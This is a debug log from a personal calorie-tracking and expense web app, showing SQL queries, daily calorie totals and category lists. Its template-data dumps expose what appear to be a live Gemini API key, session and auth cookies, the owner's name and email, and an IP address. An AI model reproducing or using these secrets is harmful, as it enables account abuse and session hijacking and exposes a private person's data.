    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:10:42.262Z server-connect:app Executing action step setvalue
2025-12-16T10:10:42.262Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:10:42.262Z server-connect:output var_total: 1071
2025-12-16T10:10:42.262Z server-connect:app Executing action step setvalue
2025-12-16T10:10:42.262Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:10:42.262Z server-connect:output var_consumed: 45
2025-12-16T10:10:42.262Z server-connect:app Executing action step setvalue
2025-12-16T10:10:42.262Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:10:42.262Z server-connect:output var_deficit: 1329
2025-12-16T10:10:42.262Z server-connect:app Executing action step custom
2025-12-16T10:10:42.262Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:10:42.264Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
2025-12-16T10:11:26.785Z server-connect:router Serving templateView /
2025-12-16T10:11:26.785Z server-connect:app Executing action step identify
2025-12-16T10:11:26.785Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:26.785Z server-connect:output identity: 1
2025-12-16T10:11:26.785Z server-connect:app Executing action step restrict
2025-12-16T10:11:26.785Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:11:26.786Z server-connect:output restrict: undefined
2025-12-16T10:11:26.786Z server-connect:app Executing action step restrict
2025-12-16T10:11:26.786Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:11:26.787Z server-connect:output restrict: undefined
2025-12-16T10:11:26.787Z server-connect:router Render template layouts/main
2025-12-16T10:11:26.787Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T10:11:33.780Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:11:33.781Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:11:33.781Z server-connect:app Executing action step identify
2025-12-16T10:11:33.781Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:33.782Z server-connect:output identity: 1
2025-12-16T10:11:33.782Z server-connect:app Executing action step restrict
2025-12-16T10:11:33.782Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:11:33.782Z server-connect:app Executing action step identify
2025-12-16T10:11:33.782Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:33.782Z server-connect:output identity: 1
2025-12-16T10:11:33.782Z server-connect:app Executing action step restrict
2025-12-16T10:11:33.782Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:11:33.782Z server-connect:output restrict: undefined
2025-12-16T10:11:33.782Z server-connect:app Executing action step select
2025-12-16T10:11:33.782Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:11:33.783Z server-connect:output restrict: undefined
2025-12-16T10:11:33.783Z server-connect:app Executing action step single
2025-12-16T10:11:33.783Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:11:33.784Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:11:33.785Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:11:35.810Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:11:35.810Z server-connect:app Executing action step identify
2025-12-16T10:11:35.810Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:35.810Z server-connect:output identity: 1
2025-12-16T10:11:35.810Z server-connect:app Executing action step restrict
2025-12-16T10:11:35.810Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:11:35.811Z server-connect:output restrict: undefined
2025-12-16T10:11:35.811Z server-connect:router Render template calorie-tracker
2025-12-16T10:11:35.811Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T10:11:36.017Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:11:36.018Z server-connect:app Executing action step identify
2025-12-16T10:11:36.018Z server-connect:app options: { provider: 'security' }
2025-12-16T10:11:36.018Z server-connect:output identity: 1
2025-12-16T10:11:36.018Z server-connect:app Executing action step restrict
2025-12-16T10:11:36.018Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:11:36.019Z server-connect:output restrict: undefined
2025-12-16T10:11:36.019Z server-connect:app Executing action step single
2025-12-16T10:11:36.019Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:11:36.020Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:11:36.020Z server-connect:app Executing action step select
2025-12-16T10:11:36.020Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:11:36.021Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
